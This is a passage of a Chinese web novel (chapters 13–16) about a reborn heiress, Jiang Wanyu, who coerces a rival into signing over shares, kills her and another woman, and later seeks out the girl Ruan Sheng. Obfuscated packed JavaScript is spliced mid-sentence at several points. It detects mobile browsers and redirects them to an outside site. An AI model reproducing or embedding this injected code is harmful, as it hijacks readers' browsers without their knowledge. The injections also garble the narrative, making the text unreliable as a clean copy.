江晚榆只瞥了一眼,眼底的黑暗不断蔓延,此刻已无外人,她无需再掩饰自己。 凝视仍在昏迷的江凝心,长久以来积压在心头的恨意第一次如此直白地爆发出来。 她将阮笙轻柔地放在干净的椅子上,紧紧握住阮笙的手,随后让人将江凝心唤醒。 江凝心缓缓睁开双目,目光触及江晚榆的瞬间阴沉下来,那种本能的敌意在江晚榆面前毫不掩饰。 不过仓库周围的环境让她感到异样,打量一圈后立即清醒过来。 绑在身上的绳索与四周的黑衣人让她瞬间明白了自己的处境,她狠狠盯着江晚榆,从喉间发出一声冷笑:“江家的天之骄女?别人口中的天上月?怎么干起了这种勾当?” 江凝心死到临头仍不忘嘲讽,江晚榆却置若罔闻,命人取来一份合同,扔到江凝心面前。 “你究竟要做什么?”江凝心不解。 “签了它。”江晚榆开口道,“这是股份转让合同,将我名下所有股份转让给你。今日你对我的车动了手脚,我在环形隧道里出了车祸,监控拍下一辆黑色面包车将我掳走,随后我被绑架到这里。” 她顿了顿,眼眸漆黑如坠入了深渊,再不见一丝光明:“被你,江凝心,绑架到了这里,逼着签下这份合同。只是在你企图将我灭口时,被我意外反杀了。” “监控拍下的内容,这份合同,都会作为证据。” 江凝心睁大了眼睛,发狠死死盯住江晚榆。 她听懂了对方的话,这是要杀了她,还要诬陷她先动的手,她布下局。 不过确实是她先对江晚榆的车动了手,只可惜对方没死。 江晚榆看江凝心不吱声也不催促,只是接着说:“你想我死,却从未想过我同样如此吗?” “我每时每刻都在想着杀死你。”江晚榆极度冷静地说出这话,她给过江凝心机会的,前世她因为奶奶放了江凝心一回。 这一世,江凝心还没做出那些事。只要江凝心不先动手她便会将“与阮笙一起寻找到真相”放在首位。 可惜江凝心无论前世今生都是同样的人,想要夺走她的一切。 她要江凝心死。 江凝心听闻发出怪异的颤笑,看清江晚榆眼中的杀意,本能地生出恐惧,却又绝不愿在江晚榆面前露怯。 “江晚榆,你果然跟你妈一样恶心!要杀就杀,你以为我会乖乖签那种合同吗?” “你当然会。”江晚榆抬起眼,笃定无疑。她牵着阮笙的手,昏睡过去的阮笙手掌心温热,紧紧握住对方才能察觉到自己此时手指冰凉,四肢微微地发颤。 她不是恐惧,只是知晓自己即将真的获得自由而激动。 但也够不上兴奋,她并不感受快乐。她早已被这样的痛苦折磨得麻木,哪怕马上就能复仇,马上就能获得自由,心头也只有浅微的波动。 江晚榆微扬下巴,示意手下将昏迷的闻姝静带了过来。 “我知道你从中学起就喜欢她,爱她胜过自己的命。签了合同去死,否则我让她陪你一起死。”江晚榆持刀抵住闻姝静的喉咙,直直看向江凝心。 她知道江凝心爱闻姝静自然是前世江凝心亲口告诉她的。对方怨恨她一方面是因为她母亲江茵的死与江晚榆母亲江秋月有关,另一方面便是因为闻姝静与她的关系。 前世江凝心以为江晚榆爱惨了闻姝静,多次在她面前炫耀与闻姝静深爱。 江晚榆对于她俩的那些事知道得七七八八,如今正好成了她对江凝心最有效的威胁。 果然,江凝心见到闻姝静的瞬间就暴躁起来,对着江晚榆失控的嘶吼。 “签字。”江晚榆面冷如冰,将手中的刀深入两分,割破闻姝静的肌肤,鲜血立即涌出。 “我签!住手!”江凝心已双目赤红,像个疯子一样拼命地挣扎,“放了她!你要我的命就来取,跟她没有任何关系!” 她终于露出了狼狈,江晚榆站起身,居高临下看她,眼底唯有蔑视。 江凝心有所爱之人,故而知晓怎样令前世的江晚榆痛苦;她也教会了江晚榆,如何反制其痛。 江晚榆冷眼看她签完字,看她颓然低下头,眼里又是恨意,又是乞求:“遵守承诺,放了她。” 若换做什么都还未经历的江晚榆,定会遵守承诺。江家倾尽心血培养她,奶奶与母亲江秋月教她商场的尔虞我诈,不可受了欺负。 生母容姯教她诚信立身,既要自保,亦需善待她人。 江家几代人的底蕴,才养出一个江晚榆,她从小到大从未让家人失望过。 江凝心厌恶她,也从未否认过她的优秀。 所以信任了她。 但这一刻,江晚榆却没有回答。 抵在闻姝静脖颈的刀也并没有放下。 “江晚榆……”安静又凝重的气氛让江凝心心慌,她近乎哀求地缓慢低唤江晚榆的名字。 江晚榆始终低头看她,垂眸看她,背光而立,整个人浸没在阴暗中,眼底不见一丝微光。 她终于开口,声冷如寒铁:“我从未打算放过你们一人。” 她话语落下的同时,刀锋已无情割开了闻姝静的脖颈,鲜血喷涌而出,染红她的手,染红她的衣衫。 她神色半分未变,只是倏然瞥见阮笙还在身边,立即将阮笙拥住,不让一滴血液溅到对方身上。 她紧紧抱住女孩温热柔软的身体,沉默地阖上眼,将脸埋入阮笙的发丝中。 发间的山茶花香弥漫在她鼻息,仿佛净化了空气中浓郁的血腥味,香气丝丝滑入心间,抚平了江晚榆心中的疮痍。 但江凝心发疯撕心裂肺的哭嚎刺入耳中,让她又想起母亲们惨死的场景。 那时公司已完全落入闻姝静与江凝心之手,她们却仍不肯放过她。 当着她的面逼死母亲江秋月,让她跪在闻姝静面前说着不会为母亲报仇的恶心话语,母亲到死都狠狠地瞪着她,可江晚榆看到母亲眼里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阮笙瞥到不远处江凝心与闻姝静的尸体,空气里浓郁到令人作呕的血腥味,一个字都无法相信。 江晚榆却也不再解释什么,偏头对旁边的人说道:“你们的工作结束了。” 随后在椅子上坐下,安静得好似在等待自己的结局。 这样的结局其实对她来说也无所谓,只要江凝心和闻姝静死了,她的家人就不会再受到伤害。 她杀了人,付出代价,也理所当然。 她不再说话,其她黑衣人也迅速撤离,那些不过是她雇的人,她的目的达到了,与那些人的交易也达成。 阮笙也趁机欲逃,混乱中她理不清眼前什么情况,但至少要远离此地。 她不信任江晚榆,待黑衣人尽数离去后她才小心翼翼地往外挪,江晚榆看都没看她,依旧坐在椅子上,一动不动地盯着江凝心的尸体。 阮笙只觉这一幕诡异至极,让人毛骨悚然。下意识去摸腕间的佛珠,却惊觉佛珠竟不知何时不见了! 霎时,一股莫名的恐惧感如潮涌至,带着浓稠的恶意,无孔不入地钻入她的脑海。 那股恶意将她紧紧缠绕,她慌得喉咙里不受控制地发出惊叫。 眼前的一切瞬息间变得扭曲,四周的光线忽然暗淡无比,仿若一部惊悚的电影画面,眼前的一切都令人恐惧。 她异样的动静引起了江晚榆的注意,江晚榆蹙眉地看过来,竟见阮笙狼狈地跪在地上大口chuan息,像是极为痛苦一般。 江晚榆眼角一抽,一种不好的预感袭上心头,与技术立即起身朝阮笙的方向走去。 却在这时,身后突然传来巨响! 似重型机械运转时发出的轰鸣声,江晚榆下意识地回头寻声,眼前却倏然掠过一根铁棍,快得劲风刮伤了她的脸颊。 铁棍没有落地的声音,却响起了另一种异常的闷响。 江晚榆的心脏猛地一沉,转头看向阮笙的位置,竟看见阮笙被铁棍贯穿了身体,彻底地倒在地上! 江晚榆僵立原地,数秒后才惊慌失色地扑到阮笙身旁。 随即看清了铁棍贯穿的位置,正中阮笙的心脏。 江晚榆瞳孔骤缩,大脑一片空白。 阮笙……还活着吗? 14. 第 14 章 六月的南方已进入夏季,猫儿洲村刚下过一场夏雨。 空气中清新的水汽染透了这处还未被过度开发的边远山村树林,站在林中深深呼吸,呼吸间弥漫着一股质朴原始的气息。 只是雨后黏腻的潮湿感让人觉着不舒服,驱散不了夏季的炎热,反而更加闷热。 村子里不少人这时都在往村头走,那里是阮家。 阮家前些日子死了人,敲锣打鼓摆了灵堂,认识的人都得赶去上炷香。 死的人是阮家的老人,阮雯,她在镇上教书,平日大家都尊称她为阮老师。 她家里常年只有孙女阮笙,村民都可怜那孩子,从小两个母亲都不在,跟奶奶相依为命,没想到刚上大学奶奶就走了。 阮家也没有其她人,不知道能不能撑下来。 “阮笙,阮笙,阮笙!” 阮笙猛然从梦中惊醒。 她瞳孔微缩,显然被吓到,她好像做了一个很可怕的噩梦,却又完全回忆不起来。 “你没事吧,困了回房间睡一会儿?你已经不吃不喝在这守了一天多,脸色都不太好。” 阮笙听到声音,转头看去,是镇上香店的老板,安姨。对方是阮奶奶的学生,平时经常来阮家,几乎是看着阮笙长大的。 “安姨,我没事,我不小心睡着了。”阮笙哑着嗓子说,手臂撑着身体慢慢坐直。 她方才竟在椅子上睡了过去。 “回屋去好好睡一觉。”安姨皱着眉看阮笙惨白的脸与眼底的青色,忍不住伸手想将她拉进屋内。 可阮笙固执地抓住椅子,抬头对安姨不断摇头。 她知道自己的状态,知道自己很不好。可她想要这样的折磨,不想闭上眼想起奶奶在医院病床上毫无声息的模样。 “我要守在这里,安姨,我不走。” 她死死咬着唇,眼眶微红,望着安姨的眼睛里宣泄着自己的执着。 安姨吸了口气,看到她眼角欲落不落的泪珠说不出狠话来,又抬头扫见阮老师灵堂上的黑白照,同样悲从中来,颓然松开手,坐到阮笙身旁。 其实她说不得阮笙,她也整夜无法安睡,她只是心疼这孩子。 “那至少吃点东西。”安姨退让一步。 见阮笙这回终于点头才松了口气,立即起身说,“我去给你做。” 安姨快步离开,没一会儿又有人过来喊她,要么是上香祭拜阮奶奶,要么是给阮笙一些安慰的话。 阮笙一一谢过,神情却无半分变化。这两日一直如此,有她熟悉的人,有她只见过一两面的人。 她守在奶奶的尸身旁,嗅着灵堂里清幽的沉香,看袅袅薄烟飘散,心头的哀伤不断蔓延,对周围的一切都已麻木。 “阮笙。” 直到又有人唤她。 阮笙立即掩饰情绪,习惯性地做出感谢的表情,感谢对方到来。 但抬起头看到对方模样时又稍稍顿住。 许是看出阮笙的疑惑与陌生,那人自觉地做自我介绍:“你好,我叫江晚榆,是阮老师认识的人。 阮笙完全不认识眼前的人,毕竟只要见过对方,应该谁也不会忘记。 眼前这个叫江晚榆的人,眉眼如霜,目光平静疏淡。不像其她人看过来时总带着同情怜悯的意味,她的眼很冷,睫毛低垂,如冬日薄雾,带着恰到好处的疏离。 她不是这里的人,甚至不是镇上的人。她太漂亮,太有气质,身上穿着昂贵的衣服,靠近时阮笙还能嗅到她身上十分好闻冷冽又醉人的香。 “我能上炷香吗?”或许是阮笙半天没回应,她主动地再次开口。 “嗯,当然。”阮笙回过神,递给对方一炷香,点燃。 江晚榆点头表示感谢,阖上眼,虔诚的上香祈祷。沉香的香味绕在鼻息,随着灵堂外一声声啰响,死亡的气味蔓延在江晚榆心头。 她突然想起那一刻。 确认阮笙死亡的那刻。钱棍就那样毫无征兆的贯穿了阮笙的心脏,那个仓库内已经没有其她人,那根致命的凶器也几乎是擦着江晚榆的脸命中了阮笙。 一击毙命,绝不是巧合。 在阮笙断气之后,江晚榆也眼前一黑,再睁时竟再一次重生在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473103|185577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前。 闻姝静又出现在她面前。她很快冷静下来,算了时间她要在三年后的宴会上才能遇到阮笙,她等不了那么久,查到阮笙这时候的情况,直接跑来见她。 只是阮笙好像并不记得她。 江晚榆拜了三拜,手持香插入香泥中,这才转过身仔细端详如今的阮笙。 “你还记得我吗?”江晚榆目光掠过阮笙双瞳,想从后者眼中寻到一丝对她的熟悉。但阮笙只是摇头,眼里尽是陌生。 我从未见过你吧。”阮笙说得肯定,“若是见过你一面,应该很难忘记。” 江晚榆听闻,眼眸微黯,不再试探。 “许是你忘记了。”她忽地勾唇笑了笑,却比不笑时还要冷。如孤月悬空,凄凉又遥不可及。 阮笙一时顿住,脑子里忽地像是涌起了千万种情绪。她心跳如雷,猛然拉住面前江晚榆的手,死死抓住,好像不能松开。 “江晚榆。”她喊了一声。喊完却又不知道自己要说什么,一切都像是一种倏然出现本能在驱使她。 她觉得莫名其妙,在脑海里也找不到半点原因。 “对不起,我,我不知道……”阮笙皱着眉慌乱地道歉。 她正要松开手,不料江晚榆倏尔温雅一笑,双手反握住她,动作带着安抚的意味。 “没关系,那时你太小了,记不得很正常,谢谢你。”江晚榆此时的笑温润似冬日雪中暖阳,破开她周身清冷,让人说不出的清绝脱俗。 阮笙还想说什么,但被来祭拜的人打断,江晚榆见状主动让开,盯了阮笙好一会儿才转身离去。 她转得急,差些撞上端着食物出来的安姨。幸好她反应很快,立即站定身子,让开身位并颔首道歉:“抱歉。” 安姨摆摆手,被惊吓到瞳孔微缩,瞧见她容貌后又忽地顿住,半晌都没做出回应。 江晚榆早已习惯别人看她的目光,并不在意,微微点头后快步离开。 只是她并未瞧见,身后的安姨直直盯着她离去的背影,目光微寒。 口中喃喃自语:“她不该出现在这里。” 15. 第 15 章 遗体下葬当天,阮白也到来了。 阮笙在奶奶病房里见过她几面后,几乎不怎么能再与她遇上。 阮笙不知道她这段时间在哪,做了什么。 只听说了她的秘书说以往会定期向阮奶奶的账户里打钱,以后会直接打给她,保障她今后的生活。 可阮白甚至都未唤过阮笙一句,除了第一次在奶奶病房里见面,阮白说是她的母亲外,两人再无多余的交流。 “为什么你连奶奶守灵都不在?”阮笙几乎是带着埋怨。她渴望阮白,内心深处清晰地意识到阮白是这世上她最后的亲人,奶奶死后她唯一的依靠。 可阮白冷漠的态度,让此刻已经悲伤到无法控制情绪的她愤怒,“母亲”的意义好像在她心中有了别的变化。 “请送奶奶走完最后一程路。”阮笙边说边哭,她已经哭了很久。 这边的习俗,人死之后下葬,在离家不远的山上找一处坟地,家中的子女将遗体抬上山,一路撒纸钱与跪拜,引导逝者的灵魂在此长眠。 但阮家只剩阮笙与阮白,是安姨找人来帮忙抬尸。 山上并未开辟出路,一路走上去,跪拜,很是辛苦。阮笙这几日几乎没吃没喝,到半山腰时已摇摇欲坠,眼看就要倒下。 幸好离下葬的位置已不远,阮白这时扶住了她,未与她说任何,只是半撑着她勉强走到下葬的坟坑前。 遗体下葬,阮笙跪在坟前,看着黄土慢慢将奶奶掩埋。 她哭得快断了气,尝遍了那肝肠寸断的滋味。 这时天忽然下起了小雨,方才天空万里无云,此时太阳还高挂在头顶,她们出发前也看过天气预报,今日是个晴朗的天气。 可这雨说下就下,仿佛上天也在为阮奶奶哭泣。 自然界中也不是没有太阳雨,沉浸在悲伤中的人们,不会去深究这场突如其来的绵绵小雨有何意义。 唯有一旁的安姨若有所思,稍稍抬头望天,任冰冷的雨水滴落在她面庞。 阮奶奶的遗体彻底埋入黄土,阮笙磕头上香,此刻的她似这阴雨绵绵,冰冷,凄凄切切。 湿透的身体,与眼前漫天阴霾。这一刻,阮笙像是再没有一丝希望,她的世界仿佛昏沉再不见天光。 她摇摇欲坠,先前有阮白将她撑住,此时她跪在奶奶的坟前,已感受不到其她人的存在。 她与母亲太过陌生,无人能够支撑她,她的世界已翻天覆地,天旋地转。 阮笙是真的感觉到天旋地转,眼前一片花白,早已看不清东西,早已悲痛得无法chuan息。喉咙里已经挤不出一丝气,只有身体的本能在艰难地帮她呼吸。 但她终究没能坚持住,在众目睽睽之下倒了下去。 失去了意识。 …… 阮笙看到一片血红的颜色,她很确定自己是在做梦,因为她的梦中出现了只见过一面的江晚榆。 对那么漂亮的人留下印象很正常,在梦里见到对方也很正常,不正常的是她看到江晚榆脸上溅了血,目光冷硬,沉如深潭,眼底是压不住的戾气。 她杀了人。 阮笙看见她杀了人。 她杀人时平静得骇人,仿佛杀死对方毫无感觉。 她紧紧拽着阮笙的手,阮笙拼命地想要挣脱,但江晚榆眸子寒如霜,死死锁着阮笙,平静的神情下却疯狂又偏执。 阮笙被她拽得很紧,根本无法挣脱,惊叫着睁眼醒来,眼前竟又出现了江晚榆的脸! 但眼前的江晚榆却并不让她害怕,对方神情仍然冰冷,却并不让阮笙感到害怕。 她端坐在阮笙身前,被窗外金灿灿的日光照射。半合上的碎花窗帘,将阳光打散,金色的碎光点缀在江晚榆身上,照得她冷然的面容都圣洁温润。 “你醒了。”江晚榆也确实温和,见阮笙醒来立即期身上前,自来熟地伸手抚在阮笙额头按了按。 她动作太过自然,阮笙竟一时没反应过来。 “退烧了。”江晚榆低眉轻语,为还在惊讶的阮笙解答,“听说你在山上晕倒,我刚好在医院附近,过来看看。先前医生说你烧得厉害,这会终于降温了。” “谢,谢谢。”阮笙客气地开口,敏锐察觉到对方几句话把先前冒犯的动作岔开。阮笙觉得尴尬,也不想提,干脆就顺着对方。 只是开口说话才发觉自己嗓子沙哑,喉咙干得仿若刀割般。江晚榆见状抬眼,指尖从阮笙脸颊滑过,直起腰,轻声道:“要喝水吗?” 她问完拿起床头的杯子,但杯中无水,环视一圈后也没在房间中找到饮水机,不由停顿住。 阮笙从她冷然的脸上竟看出一丝窘迫,立即明白过来,提醒道:“要去热水房接水。” 江晚榆面无表情地点点头,看也没再看阮笙一眼,直接拿着杯子往外走:“我去接。” “……谢谢。”阮笙跟江晚榆不熟,本不想麻烦对方,但环顾一周,竟发现这里只有江晚榆在。 江晚榆离开后阮笙才打量起周围,医院纯白的装修让她苏醒时就意识到自己在什么地方,何况镇上的大医院也就一家。 只是她疑惑为什么只有江晚榆在这里,阮白呢?安姨呢? 阮笙勉强撑起身子,找到床头柜上的手机,蹙眉给安姨打去电话。 另一边江晚榆不知道热水在哪,问过护士站的护士后才找到地方。 还排着队,江晚榆走入队伍中,她一身精贵,相貌气质出类拔萃,引得周围人不少目光。 江晚榆习惯这类打量的眼神,并不在意。 可突然,她陡然感受到一道特殊的目光,与其她人的好奇、探究完全不同。 那目光,带着某种莫名的意味,让她毛骨悚然。 江晚榆猛地转身看去,但现视周围却没有发现一丝异常。 她不知是自己错误感受,还是对方太过厉害,隐在哪个阴暗的角落,让她无法探寻。 而那目光,江晚榆回身后再度如影随形,落在她身上,仿若盯着猎物一样,死死盯住她。 江晚榆几次观察,始终没找到那目光的主人,一直到她接完热水回到病房,关上房门那目光才终于消失。 江晚榆微不可察的松了口气,这才发现自己竟起了身虚汗,病房内窗户没关,正好一阵冷风吹来,冷得她不受控的打着寒战。 只是她也来不及回想,她听到了阮笙抽泣的声音。 虽然阮笙推门进屋时便极力克制,但江晚榆看过去,还是看见对方无法掩饰的殷红眼角,与脆弱神情。 江晚榆顿了顿,垂下眼,轻抿着唇。 印象里阮笙要么笑着,要么露出凶狠的目光,张牙舞爪地跟闻姝静动手。哪一样都是鲜活灵动的样子,完全不是眼前这样,灰败的神情,破碎的模样,毫无生命力。 江晚榆抬眼直视着阮笙,对方低下头,连掩饰的力气好似都无了,只是抹掉眼角的泪水,安静地坐在病床上。 江晚榆端着水杯走过去,停在阮笙身前,迟疑片刻将水递给对方:“小心烫。” “谢谢。”阮笙伸手接过,却并不喝,又低下头去。 江晚榆顺势坐在床沿,离她更近了些。 阮笙没有再开口,江晚榆看着她也不再说话。 她们明明并不熟悉。至少在阮笙眼中,面前这个女人只是在奶奶的葬礼上见过一面,她除了对方的名字一无所知。 可江晚榆坐到她面前,目光落到她身上,让她无法忽视,却并不让她觉得冒犯。 她对江晚榆,竟有些莫名的熟悉感。 这样的感觉其实不是第一次,她有时对身边的一些人有同样的感受。只是这样的感受多了,慢慢被她忽视。 而眼前的江晚榆,让那莫名的熟悉感再度涌来。 甚至于江晚榆倏然倾身来抱住了她,这一瞬间也并不让阮笙觉得冒犯。 “你会好起来。” 阮笙听到对方轻柔地低语。 江晚榆的音色也如她表象一般,带着丝丝冷意。可她故意放轻声音,让她如寒泉般的音色也变得温润,滴滴浸入阮笙耳中。 阮笙没有推开江晚榆,被抱住后听到了江晚榆缓慢的心跳,她们如此紧密地相贴在一起,阮笙却没有感到不适。 阮笙从未有过这样的感受,她抬起头与江晚榆相视,在江晚榆眼中她看到带着安抚的信任。 阮笙一时不知该如何回应,她敏锐地察觉到江晚榆所说的话不仅是鼓励与安慰,更像是完全相信她会恢复过来,那般笃定。 阮笙缓缓阖上眼,她一方面对江晚榆突然亲近的态度感到疑惑,一方面沉溺于这种无法解释的信任中。 她太累了,想什么都不想,想所有的悲伤都远离。 她已无依无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她本无意探究阮笙的家庭关系,只是重生后谜团太多,才让人把阮笙的一切都查得清清楚楚。 安姨与阮白也不熟,待在晏城的阮白早已不回这个小乡村,与这里的所有人都断了联系。下葬后阮白也不知去了哪里,江晚榆说什么她们都无法求证。 不过既然人家长辈来了,江晚榆这个不怎么熟的人自然不好再留在这里。 她同两人道别,走到门边,安姨笑着说送送她。 江晚榆不认为对方好心,两人走到屋外,病房门关上,阮笙再也看不见。 江晚榆的眼神一寸一寸地变得冷硬,是在阮笙面前从未展现过的强势。 她并未立即离开,侧身对跟出来的安姨投去目光,安姨也撕下伪装,脸上再也没有一点笑意,死死盯住她。 “她很坚强,会恢复过来,我们不要做多余的事。”安姨靠在门上,目光幽暗深邃。 江晚榆此时明目张胆地看,更加看清对方,安姨的眼中没有对江晚榆的敌意,更多的是一种警告。 江晚榆不知她要警告什么,迎着安姨的眼并不回答。 江晚榆想着她的话。 我们? 是指此时她们两人,或是还有其她人? 并且她说阮笙会恢复过来的语气,就如同江晚榆说给阮笙时一样。 十分笃定,像是亲眼所见般。 而她口中的“多余的事”,又是指什么? 江晚榆默不作声,眼前已出现无数的未知与谜团。 安姨探究不到江晚榆的情绪,索性直接不看了。说完抬眼瞧了瞧外面天色,窗外阴雨刚停,一片冷寂与萧瑟。 “路上小心。”她倏然嘱咐道。 这本只是一句平常的关怀语,江晚榆听在耳中,却忽地升起一种不好的预感。 是安姨说得太冷,让人心中发寒。 她不像在普通地说着关怀语,倒像是真的认为江晚榆会出事。 江晚榆心间一沉,也转头看向窗外。 上午还晴朗的天气不知何时已乌云密布。阴沉的黑云压在头顶,地上的一切变得灰暗,死气沉沉。 江晚榆背脊一凉,惊觉那股毛骨悚然的莫名感再度袭来。 16. 第 16 章 阮笙毕竟年轻,身体恢复很快,即便心情依旧没有转好,但只要肯吃些东西,自然就能好起来。 只是人变得越发阴郁,整日不见人,也不说话。江晚榆上门拜访时阮笙正在拾奶奶的遗物,她红着眼给江晚榆开门,对方瞧见她的神情后明显一愣,随即神情变得温和许多。 阮笙看得清楚,近日周围人面对她时均是如此,她明白对方是关心她,同情她,所以小心翼翼地对待着她。 可眼前的江晚榆并非她亲近之人,两人间的陌生感让阮笙无法心安理得地接受对方的好意。 她对江晚榆有些莫名的情感,但江晚榆只见她两面,精贵无比,与她是完全不同世界的人,又为何对她如此呢? 阮笙绷紧了唇,大抵是心情不好,排斥着与外人相处,排斥着与她人亲密的关系,所以对江晚榆露出冷漠的态度。 连话语间都带着驱赶的冷硬:“你有什么事吗?” 近日来找她的人都关心着她,江晚榆到来的目的阮笙又如何不知? 江晚榆手上还提着礼盒,听到阮笙的话指节绷紧,微不可察的轻颤睫毛。 她看人无数,与太多人接触,怎会看不透眼前闹着脾气的阮笙? 这脾气或许不是针对她,江晚榆看着对方殷红的眼角,明白这只是小孩无从发泄悲伤,无法压抑痛苦的宣泄。 江晚榆并不生气,比起一切的痛苦哀伤只能咽进心里,无法诉说,无法表现,阮笙还能对着她人发泄出来,应当算作好事。 江晚榆眼尾微微垂落,整个人在阮笙眼中变得更加柔和,像浸了温水,忽然让人感受不到一丝锋利。 她对着阮笙笑了笑,带着安抚的意味,带着温和的示好。 阮笙的悲痛与无处宣泄的烦躁因江晚榆此刻的温柔停滞。 虽然与江晚榆不算熟,但实在想象不到这样的人笑起来竟是如此的温柔。 一时竟满眼都生出惊叹,满心都被涌来的惊讶情绪覆盖。 不过也就几个呼吸间,江晚榆的笑很快隐去,眉梢的冷,又如冬日初雪慢慢落下。 阮笙收回目光,她觉得江晚榆好看,但也仅仅是欣赏,两人没什么关系。惊艳过后她还是沉溺于悲伤之中,整日无法提起精神,对周围的人没有丝毫兴趣。 “你有什么事?”阮笙又问了一遍。问话的同时手指已经紧紧按在门把手上,想要结束与江晚榆的交谈。 江晚榆低眉扫过,从容地回答:“我要在镇上投资建一座图书馆,我人生地不熟,一些基础的工作没有概念,其她人跟我推荐了你,所以来问问能否雇你做短时间的顾问?” 江晚榆知道阮奶奶一直希望镇上能有所正规的图书馆,镇上连唯一的学校里都没有,教书时就一直在推广这事。 但这块偏远的地方,上学的孩子都不多,更别说建一所图书馆。更何况在领导眼中,这种完全是吃力不讨好的事。 所以阮奶奶退休后带着小阮笙坚持卖书很多年,阮笙也一直明白奶奶的心愿。 “你说的是真的?”阮笙激动得一下提高了音量。 “当然,我知晓这是阮老师的愿望,可惜没能在生前圆了她的心愿。如今只希望你能帮助我,阮老师在天看到也能开心。”江晚榆如是说。 她明白阮笙的心情,投资建个图书馆对她来说轻而易举,能与阮笙亲近,也能让沉浸于悲伤中的阮笙有事情做,再好不过。 她知道这种事阮笙定不会拒绝。果然,后者确定她真的要建图书馆,一改先前的颓废,眼眸直直地望过来,眼里亮起星星般,眉尖染上喜悦。 她激动地伸手抓住江晚榆,像是生怕江晚榆会后悔,要拉着人进屋,克制不住兴奋地说:“我知道图书馆的许多分类工作,书籍保养这些也都熟悉,奶奶从小就教我。家里就照着建了一个小平层,我带你去看看。” 江晚榆没有拒绝,看着她雀跃的神情,瞄见她开心得连眼角那抹殷红都被抹平。 江晚榆想到前世告诉阮笙真相后,她利用女孩的善良,让女孩对她同情,想将人困在身边。 她与阮笙其实相处时间不长,但两人注定了会紧密地联系在一起,她们之间像是被命运绑定。 而阮笙善良,纯粹,那双清透的眸子注视到她一直以来的痛苦绝望。 那时,同情她、义无反顾地挡在她身前对闻姝静咒骂,转身又哭着紧紧抱住她落泪的阮笙。 江晚榆无法忘记那个场景。 在那之前她想了无数种办法要将阮笙困死在自己身边,哪怕用些不好的手段。 可阮笙的那滴泪落到她颈间,浸湿了她的心,让她再也无法做出伤害对方的事。 江晚榆一直是个懂礼的人,却算不上柔情,唯有能体会到她痛苦,拥抱住她痛苦的阮笙,她总愿意多些耐心与温和。 “我这里有很多书,什么种类都有,可以给图书馆捐赠,图书馆需要的书单也可以交给我做。”阮笙带着江晚榆走上二楼,一边走一边说,不断地说着,没有停下。 江晚榆目光一直落在被她紧紧拉住的手腕上,无声地笑了笑。 阮笙也没有说大话,阮家的二楼确实算个小图书馆了。整个二楼全部打通,屋中放满了实木书架,图书全都分门别类整齐地摆放在书架上。 江晚榆建图书馆的本意只是找个理由与阮笙多接触,根本没有什么人推荐阮笙帮忙。 镇上的人也并不在意这里的孩子有没有书看,大多数的孩子平时还要回家帮忙干活,专心致志地上学读书都是件奢侈的事。 但看到眼前整个平层的书,江晚榆忽然觉得修建图书馆不只是哄阮笙开心这么简单。 她认真地看向阮笙,轻轻说:“我相信你会做得很好。” 阮笙双手牵住她,郑重地点头。 随后江晚榆告诉阮笙过两天会派专业的人过来考察选址,两人留了联系方式,约定到时再联系。 如今江晚榆在阮笙眼里跟大善人没什么两样,客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方被抓住了,也不挣扎,只是在看到江晚榆时露出了了然的神情。 “你违反了规定。”她的神情异常平静,沉稳得有些不符合她外在的年龄。 江晚榆紧紧盯住她,稍稍沉默后,语调冰冷地问:“我违反了什么规定?” 女孩的目光一瞬幽暗沉寂,微眯起眼睛,看江晚榆时眼里裹上明显的锋芒。 “原来你还不知道。”她暗暗低语。 江晚榆心头一紧,并不接话。 女孩的神态与动作都十分怪异,那样锋芒暗涌的目光绝不该出现在一个十几岁孩子的身上。 见江晚榆不回应,女孩轻声嗤笑,锐利的目光毫不避讳地侵入江晚榆双瞳。 她直勾勾地盯死江晚榆,声音喑哑:“你不该提前接触她。” 江晚榆将这话在脑子里过了一遍,随即呼吸一滞。 提前? 上一世江晚榆与阮笙相遇是在三年后的容家宴会上,在此之前两人从未有过交集。 现在这个时间不该有人知晓她与阮笙的联系。 江晚榆沉下双目,眼中厉色一闪。 立即明白过来,眼前这人,与她一样,是重生之人,有着前世的记忆。